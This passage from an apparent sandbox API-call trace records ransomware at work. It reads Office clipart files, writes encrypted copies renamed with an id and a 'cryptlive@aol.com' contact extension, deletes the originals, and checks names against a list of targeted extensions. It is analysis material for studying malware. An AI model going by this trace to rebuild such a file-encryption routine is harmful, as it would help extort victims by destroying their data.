nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.892] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.893] SetEndOfFile (hFile=0x3b4) returned 1 [0156.893] CloseHandle (hObject=0x3b4) returned 1 [0156.893] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.893] SetEndOfFile (hFile=0x350) returned 1 [0156.895] CloseHandle (hObject=0x350) returned 1 [0156.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.895] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0156.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.896] lstrlenW (lpString=".doc") returned 4 [0156.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.896] lstrlenW (lpString=".docx") returned 5 [0156.896] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.896] lstrlenW (lpString=".pdf") returned 4 [0156.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.896] lstrlenW (lpString=".xls") returned 4 [0156.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.896] lstrlenW (lpString=".xlsx") returned 5 [0156.897] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.897] lstrlenW (lpString=".ppt") returned 4 [0156.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString=".zip") returned 4 [0156.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.897] lstrlenW (lpString=".rar") returned 4 [0156.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString=".bz2") returned 4 [0156.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString=".7z") returned 3 [0156.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString=".dbf") returned 4 [0156.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString=".1cd") returned 4 [0156.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString=".jpg") returned 4 [0156.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.897] lstrlenW (lpString=".doc") returned 4 [0156.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString=".docx") returned 5 [0156.897] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.897] lstrlenW (lpString=".pdf") returned 4 [0156.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString=".xls") returned 4 [0156.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.897] lstrlenW (lpString=".xlsx") returned 5 [0156.897] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.897] lstrlenW (lpString=".ppt") returned 4 [0156.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.898] lstrlenW (lpString=".zip") returned 4 [0156.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.898] lstrlenW (lpString=".rar") returned 4 [0156.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.898] lstrlenW (lpString=".bz2") returned 4 [0156.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.898] lstrlenW (lpString=".7z") returned 3 [0156.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.898] lstrlenW (lpString=".dbf") returned 4 [0156.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.898] lstrlenW (lpString=".1cd") returned 4 [0156.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0156.898] lstrlenW (lpString=".jpg") returned 4 [0156.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.898] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.898] lstrlenW (lpString="J0107528.WMF") returned 12 [0156.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.899] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6792) returned 1 [0156.899] CloseHandle (hObject=0x350) returned 1 [0156.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0156.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.900] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.900] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.901] GetLastError () returned 0x0 [0156.901] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1a88, lpOverlapped=0x0) returned 1 [0156.903] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1a90, lpOverlapped=0x0) returned 1 [0156.904] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.904] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.904] SetEndOfFile (hFile=0x3b4) returned 1 [0156.905] CloseHandle (hObject=0x3b4) returned 1 [0156.905] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.905] SetEndOfFile (hFile=0x350) returned 1 [0156.907] CloseHandle (hObject=0x350) returned 1 [0156.907] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0156.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.908] lstrlenW (lpString=".doc") returned 4 [0156.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.908] lstrlenW (lpString=".docx") returned 5 [0156.908] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.908] lstrlenW (lpString=".pdf") returned 4 [0156.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString=".xls") returned 4 [0156.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.909] lstrlenW (lpString=".xlsx") returned 5 [0156.909] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.909] lstrlenW (lpString=".ppt") returned 4 [0156.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString=".zip") returned 4 [0156.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.909] lstrlenW (lpString=".rar") returned 4 [0156.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString=".bz2") returned 4 [0156.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString=".7z") returned 3 [0156.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString=".dbf") returned 4 [0156.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString=".1cd") returned 4 [0156.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString=".jpg") returned 4 [0156.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.909] lstrlenW (lpString=".doc") returned 4 [0156.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString=".docx") returned 5 [0156.909] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0156.909] lstrlenW (lpString=".pdf") returned 4 [0156.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.909] lstrlenW (lpString=".xls") returned 4 [0156.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.909] lstrlenW (lpString=".xlsx") returned 5 [0156.909] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0156.910] lstrlenW (lpString=".ppt") returned 4 [0156.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.910] lstrlenW (lpString=".zip") returned 4 [0156.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.910] lstrlenW (lpString=".rar") returned 4 [0156.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.910] lstrlenW (lpString=".bz2") returned 4 [0156.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.910] lstrlenW (lpString=".7z") returned 3 [0156.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.910] lstrlenW (lpString=".dbf") returned 4 [0156.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.910] lstrlenW (lpString=".1cd") returned 4 [0156.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0156.910] lstrlenW (lpString=".jpg") returned 4 [0156.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.910] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.910] lstrlenW (lpString="J0107544.WMF") returned 12 [0156.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.911] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=26768) returned 1 [0156.911] CloseHandle (hObject=0x350) returned 1 [0156.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0156.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.911] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.911] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.912] GetLastError () returned 0x0 [0156.912] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6890, lpOverlapped=0x0) returned 1 [0157.223] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x68a0, lpOverlapped=0x0) returned 1 [0157.224] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.224] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.224] SetEndOfFile (hFile=0x3b4) returned 1 [0157.225] CloseHandle (hObject=0x3b4) returned 1 [0157.225] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.225] SetEndOfFile (hFile=0x350) returned 1 [0157.825] CloseHandle (hObject=0x350) returned 1 [0157.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0157.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.827] lstrlenW (lpString=".doc") returned 4 [0157.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.827] lstrlenW (lpString=".docx") returned 5 [0157.827] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.827] lstrlenW (lpString=".pdf") returned 4 [0157.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.827] lstrlenW (lpString=".xls") returned 4 [0157.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.827] lstrlenW (lpString=".xlsx") returned 5 [0157.827] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.827] lstrlenW (lpString=".ppt") returned 4 [0157.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.827] lstrlenW (lpString=".zip") returned 4 [0157.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.827] lstrlenW (lpString=".rar") returned 4 [0157.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".bz2") returned 4 [0157.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".7z") returned 3 [0157.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString=".dbf") returned 4 [0157.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString=".1cd") returned 4 [0157.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString=".jpg") returned 4 [0157.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString=".doc") returned 4 [0157.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".docx") returned 5 [0157.828] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.828] lstrlenW (lpString=".pdf") returned 4 [0157.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".xls") returned 4 [0157.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.828] lstrlenW (lpString=".xlsx") returned 5 [0157.828] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.828] lstrlenW (lpString=".ppt") returned 4 [0157.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.828] lstrlenW (lpString=".zip") returned 4 [0157.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.828] lstrlenW (lpString=".rar") returned 4 [0157.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".bz2") returned 4 [0157.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.828] lstrlenW (lpString=".7z") returned 3 [0157.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.829] lstrlenW (lpString=".dbf") returned 4 [0157.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.829] lstrlenW (lpString=".1cd") returned 4 [0157.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0157.829] lstrlenW (lpString=".jpg") returned 4 [0157.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.829] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0157.829] lstrlenW (lpString="J0144773.JPG") returned 12 [0157.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.118] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=40231) returned 1 [0158.118] CloseHandle (hObject=0x3a0) returned 1 [0158.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg")) returned 0x20 [0158.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.119] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.119] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.119] GetLastError () returned 0x0 [0158.119] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9d27, lpOverlapped=0x0) returned 1 [0158.122] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9d30, lpOverlapped=0x0) returned 1 [0158.123] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.123] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.123] SetEndOfFile (hFile=0x380) returned 1 [0158.123] CloseHandle (hObject=0x380) returned 1 [0158.124] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.124] SetEndOfFile (hFile=0x3a0) returned 1 [0158.126] 